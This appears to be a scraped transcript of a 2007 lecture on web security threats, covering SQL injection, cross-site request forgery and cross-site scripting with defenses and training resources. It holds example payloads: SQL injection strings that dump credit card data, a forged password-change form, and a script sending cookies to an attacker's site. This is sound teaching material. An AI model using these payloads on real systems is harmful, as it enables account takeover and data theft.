slide1 l.
Skip this Video
Loading SlideShow in 5 Seconds..
“Emerging Security Vulnerabilities & the Impact to Business” Neil Daswani October 2007 neildaswani/ PowerPoint Presentation
Download Presentation
“Emerging Security Vulnerabilities & the Impact to Business” Neil Daswani October 2007 neildaswani/

Loading in 2 Seconds...

play fullscreen
1 / 59

“Emerging Security Vulnerabilities & the Impact to Business” Neil Daswani October 2007 neildaswani/ - PowerPoint PPT Presentation

  • Uploaded on

“Emerging Security Vulnerabilities & the Impact to Business” Neil Daswani October 2007 Is the sky falling? . TJX (March 2007) owns TJ Maxx, Marshalls, and other dept stores attacks exploited WEP used at branches

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

“Emerging Security Vulnerabilities & the Impact to Business” Neil Daswani October 2007 neildaswani/

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript

“Emerging Security Vulnerabilities & the Impact to Business”

Neil Daswani

October 2007

is the sky falling
Is the sky falling?
  • TJX (March 2007)
    • owns TJ Maxx, Marshalls, and other dept stores
    • attacks exploited WEP used at branches
    • over 47 million credit card (CC) #s dating back to 2002
  • CardSystems (June 2005)
    • credit card payment processing company: out of business
    • 263,000 CC #s stolen from database via SQL Injection
    • 43 million CC #s stored unencrypted / compromised
  • Enter “sql injection” on for more...
  • Additional Data compromised records; over 300 incidents in 2006 alone)
  • High-Impact Threats & Defenses:SQL Injection and XSRF
  • Vulnerability Trends
  • Where To Learn More:Courses/Certifications, Books, Websites
sql injection example
SQL Injection Example










SELECT passwd


WHERE uname IS ‘smith’

Normal Query

sql injection example5
SQL Injection Example

Attacker Provides This Input

sql injection example6
SQL Injection Example

Malicious Query










SELECT passwd



Eliminates all user accounts

sql injection example7
SQL Injection Example

View pizza order history:<br>

<form method="post" action="...">



<option name="month" value="1">Jan</option>


<option name="month" value="12">Dec</option>



<input type=submit name=submit value=View>


sql injection example8
SQL Injection Example

Normal SQL Query

SELECT pizza, toppings, quantity, order_day

FROM orders

WHERE userid=4123 AND order_month=10

Type 2


For order_month parameter, attacker could input

0 OR 1=1

WHERE condition

is always true!

Gives attacker access

to other users’

private data!

<option name="month" value=“0 OR 1=1">Dec</option>

Malicious Query

WHERE userid=4123 AND order_month=0 OR 1=1

sql injection example9
SQL Injection Example

All User Data


sql injection example10
SQL Injection Example

A more damaging breach of user privacy:

Attacker is able to

  • Combine the results of two queries
  • Empty table from first query with the sensitive credit card info of all users from second query

For order_month parameter, attacker could input

0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

sql injection example11
SQL Injection Example

Credit Card Info


preventing sql injection
Preventing SQL Injection
  • Whitelisting
    • Why? Blacklisting chars doesn’t work:
      • Forget to filter out some characters
      • Could prevent valid input (e.g. username O’Brien)
    • Allow well-defined set of safe values:[A-Za-z0-9]*[0-1][0-9]
    • Valid input set implicitly defined through regular expressions
  • Escaping
    • For valid string inputs like username o’connor, use escape characters. Ex: escape(o’connor) = o’’connor (only works for string inputs)
prepared statements bind variables
Prepared Statements & Bind Variables

PreparedStatement ps =

db.prepareStatement( "SELECT pizza, toppings, quantity, order_day “ +

"FROM orders WHERE userid=? AND order_month=?");

ps.setInt(1, session.getCurrentUserId());

ps.setInt(2, Integer.parseInt(request.getParamenter("month")));

ResultSet res = ps.executeQuery();

  • query parsed w/o parameters
  • bind variables are typed e.g. int, string, etc…*

Bind Variables: Data Placeholders

additional mitigations
Additional Mitigations

What else helps?

  • Limit Privileges (Defense-in-Depth)
  • Harden DB Server and Host OS

What doesn’t?

  • Encrypt Sensitive Data stored in Database

What else do I need to learn about SQL Injection?

  • Second Order SQL Injection
  • Blind SQL Injection
  • Unvalidated Input
    • SQL Injection
    • Cross-Site-Scripting (XSS)
  • Design Errors
    • Cross-Site-Request-Forgery (XSRF)
  • Boundary Conditions
  • Exception Handling
  • Access Validation

Alice is using our (“good”) web-application:

(assume user is logged in w/ cookie)

At the same time (i.e. same browser session), she’s also visiting a “malicious” web-application:

how xsrf works
How XSRF Works




Cookie: sessionid=40a4c04de

/viewbalanceCookie: sessionid=40a4c04de

“Your balance is $X”

how xsrf works19
How XSRF Works




Cookie: sessionid=40a4c04de


<IMG SRC=“$10000”>

/paybilladdr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de

“OK. Payment Sent!”

more xsrf

Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge

  • authentication cookies stored in browser cache are sent to our server regardless of who made the request

Another Example: change password feature on our app (“update_password”)

  • Hacker site could execute a script to send a fake password-change request
  • authenticates b/c cookies are sent
more xsrf21

<form method="POST" name="evilform“ target="hiddenframe"


<input type="hidden" id="password" value="evilhax0r">


<!– hiddenframe IFRAME here -->



1. Alice’s browser loads page from

2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: with a<input type="password" id="password"> field


3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!

xsrf write only
XSRF: Write-only

Malicious site can’t read info, but can make write requests to our app!

Can still cause damage

  • in Alice’s case, attacker gained control of her account with full read/write access!

Who should worry about XSRF?

  • apps w/ user info, profiles (e.g., Facebook)
  • apps that do financial transactions for users
  • any app that stores user data
yet another xsrf home routers srj 07
Yet Another XSRF: Home Routers [SRJ’07]
  • Fact:
    • 50% of home users use a broadband router with a default or no password
  • Drive-by Pharming attack: User visits malicious site
    • JavaScript at site scans home network looking for broadband router:
      • Same-Origin-Policy allows “send only” messages
      • Detect success using onerror:
      • <IMG SRC= onerror = do() >
    • Once found, login to router and change DNS server
  • Problem: “send-only” access is sufficient to reprogram router
preventing xsrf
Preventing XSRF

Inspecting Referer Headers

  • specifies the document originating the request
  • ok, but not practical since it could be forged or blanked (even by legitimate users)

Validation via User-Provided Secret

  • ask for current password for important transactions

Validation via Action Token

  • add special tokens to “genuine” forms to distinguish them from “forged” forms
overall trends
Overall Trends
  • Attacks are increasing
  • Big four are about the same (regardless of vuln database):
    • Cross-Site-Scripting (XSS, XSRF, XSSI)
    • Injection (SQL, PHP-includes)
    • Memory Corruption (buffer overflows, integer overflows, format strings, etc)
    • Denial-of-Service
what should i do
What should I do?
  • Engineers
  • Developers
  • Programmers
  • Architects1) Arm yourself!2) Elect a security czar for each project
what every engineer needs to know
What Every EngineerNeeds To Know...
  • Secure Design: least privilege, fail-safe stance, weakest link, etc.
  • Technical Flaws:
    • XSS / XSRF / XSSI
    • Injection / Remote Code Execution
    • Directory Traversal
    • Race Conditions (e.g., TOCTOU)
    • Memory Corruption
  • Attacks:
    • Data Theft
    • Authentication / Authorization Bypass
    • Denial-of-Service
    • Privilege Escalation
    • Information Leakage
where to learn more
Where to learn more?
  • Courses
  • Certification Programs
  • Books
  • Websites(not comprehensive)
security courses
Security Courses
  • Cryptography Upper Division Courses(at almost every major university)
  • Some systems security courses(e.g., CS155 @ Stanford, CS161 @ UC Berkeley)
  • More crypto and security courses listed at:
stanford advanced security certificate
Stanford Advanced Security Certificate
  • Online (anytime) or On-Campus (one week)
  • Required: 3 core courses; 3 electives
  • Hands-on labs conducting attacks & constructing defenses
  • Security Foundations Certificate also available
  • sign up!
stanford advanced security certificate32
Stanford Advanced Security Certificate
    • Using Cryptography Correctly
    • Writing Secure Code
    • Security Protocols
    • Computer Security Management – Recent Threats, Trends & the Law
    • Designing/Building Secure Networks
    • Emerging Threats and Defenses
    • Securing Web Applications
    • Systems Security
    • Computer Security Foundations Certificate
other security certification programs
Other Security Certification Programs
  • CISSP (offered by ISC2)
    • prepares for administration / gov't jobs in security
    • credential can be used for PCI compliance
    • multiple-choice test
  • GIAC Secure Software Programmer(offered by SANS)
    • secure programming assessment
    • multiple choice (questions in development)
    • new offering: first exam was Aug 2007
  • Foundations of Security:What Every Programmer Needs To Know(Daswani / Kern / Kesavan)
  • Security Engineering (Anderson)
  • Building Secure Software (Viega / McGraw)
  • Secure Programming Cookbook (Viega / Messier)
security books
Security Books
  • Security Engineering
  • Ross Anderson
  • Available online(for free)
security books36
Security Books
  • Building Secure Software
  • Viega / McGraw“Classic Text”
  • Other books by McGraw & Co:- Exploiting Software- Software Security
security books37
Security Books
  • Foundations of Security: What Every Programmer Needs To Know
  • Daswani / Kern / Kesavan
  • Get your copy from B46-Anare or B46-284
  • Topics:
    • Secure design principles
    • Web applicationattacks & defenses
    • Intro. to Cryptography
  • Free slides @
security books38
Security Books
  • Secure Programming Cookbookfor C and C++
  • Viega / Messier
  • Lots of code exampleson how to use cryptocorrectly
  • OWASP / Top (chapters in almost every major city)
  • Security Focus /
owasp top 10
OWASP Top 10



  • A1 Unvalidated Input
  • A2 Broken Access Control
  • A3 Broken Authentication / Session Mg
  • A4 Cross Site Scripting
  • A5 Buffer Overflow
  • A6 Injection Flaws
  • A7 Improper Error Handling
  • A8 Insecure Storage
  • A9 Application Denial of Service
  • A10 Insecure Configuration Management
  • A1 Cross Site Scripting (XSS)
  • A2 Injection Flaws (e.g., SQL injection)
  • A3 Malicious File Execution (i.e., PHP)
  • A4 Insecure Direct Object Reference
  • A5 Cross Site Request Forgery (CSRF)
  • A6 Information Leakage and Improper Error Handling
  • A7 Broken Authentication / Session Mg
  • A8 Insecure Cryptographic Storage
  • A9 Insecure Communications
  • A10 Failure to Restrict URL Access
security focus
Security Focus
  • / Home of Bugtraq
  • Articles / Mailing Lists / Vuln. Reports
  • Focus areas:
    • Foundations
    • Microsoft / Unix
    • IDS
    • Incident Response
    • Viruses / Malware
    • Penetration Testing
    • Firewalls
code google com edu web security Web Security
  • Free & available for external use
  • Ex. DoS against web server
what should i do43
What should I do?
  • Managers(Project, Product, Directors, CIOs, CTOs, etc) 1) Organize to achieve security 2) Modify dev lifecycle as necessary 3) Invest in security training






  • Centralized Security Department with Approval Authority
  • Security Dept accountable for every line of deployed code, and must provide explicit approval for every deployment.
  • Pros:
    • High level of accountability
    • Tight control
  • Cons:
    • Scalability
    • Could stifle innovation
    • Bottleneck
    • Development might become tight-lipped (or work-around security)
  • Security Consulting Department with Escalation Authority
  • Security Department provides feedback to product teams when requested, or can actively “probe”
  • Pros
    • More openness to share risks
  • Cons
    • Less accountability
    • Frequent escalation will de-sensitize executives
  • Decentralized Security Staff / “Virtual” Department
  • Put developers with security expertise on the product teams. Rotate if necessary.
  • Or, train one of the developers on each product team to be “security czar.”
  • Pros
    • Security recommendations more likely to be implemented
  • Cons
    • Less flexibility in moving security engineers to most high risk projects fast.
what should i do48
What should I do?
  • Every engineer should be a software security practitioner
  • Every manager should organize and invest in security
  • Links / Pointers: Click on “Resources”
  • Neil Daswanidaswani@learnsecurity.com
last remarks
Last Remarks
  • Interested in jobs?(software security, botnets, ...)
  • Items in the back:
    • Free books
    • Stanford Security Certification Brochures
    • Need security help / consulting?
cross site scripting xss
Cross-Site Scripting (XSS)

What if attacker can get a malicious script to be executed in our application? <input type=text name=addr value=123mainst>

Ex: our app could have a query parameter in the URL and print it out on page

  • Suppose input data is not filtered
  • Attacker could inject a malicious script!

Other Sources of Untrusted Data

  • HTML form fields
  • URL path (e.g. in a Document Not Found error)
xss example
XSS Example

1. Attacker tricks Alice into visiting his page.

2. Page loads URL of query to our app with this parameter injected: %3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C/script%3E%0A

printed on our HTML source



3. Any arbitrary script attacker chooses, can be executed on our application site!

How much damage can the malicious script cause?

xss exploits
XSS Exploits

Stealing Cookies

  • the malicious script could cause the browser to send attacker all cookies for our app’s domain. Ex: "><script>i=new Image(); i.src=''+document.cookie;</script>
  • gives attacker full access to Alice’s session

Scripting the Vulnerable App

  • complex script with specific goal
  • e.g. get personal user info, transfer funds, etc…
  • doesn’t have to make a direct attack, revealing his IP address, harder to trace

Modifying Web Pages

mitigating xss
Mitigating XSS

Input Validation

  • XSS is not just a input validation problem
  • strings with HTML metachars not a problem until they’re displayed on the webpage
  • might be valid elsewhere, e.g. in a database

Output Sanitization

  • check strings as they’re inserted into HTML doc

HTML Escaping

  • escape some chars with their literals
  • e.g. & = &amp; < = &lt; > = &rt; “ = &quot;

HTTP-Only Cookies

  • HTTPOnly attribute on cookie in IE prevents it from being exposed to client-side scripts
  • can prevent traditional session hijacking
  • incomplete protection
cross domain security
Cross-Domain Security

Domain: where our applications and services are hosted

Same-Origin-Policy (SOP): script is only allowed to connect back to the origin (domain,port,protocol) from which it was served

Cross-domain: security threats due to interactions between our applications and pages on other domains

vulnerabilities stats
Vulnerabilities Stats
  • Boundary Conditions
  • Exception Handling
  • Access Validation
  • Disclaimer on Categorization
  • Input Validation
  • Design Errors

source: securityfocus vulnerability database

prepared statements bind variables59
Prepared Statements & Bind Variables

Metacharacters (e.g. ‘) in queries provide distinction between data & control

Most attacks: data interpreted as control / alters the semantics of a query/cmd

Bind Variables: ? placeholders guaranteed to be data (not control)

Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query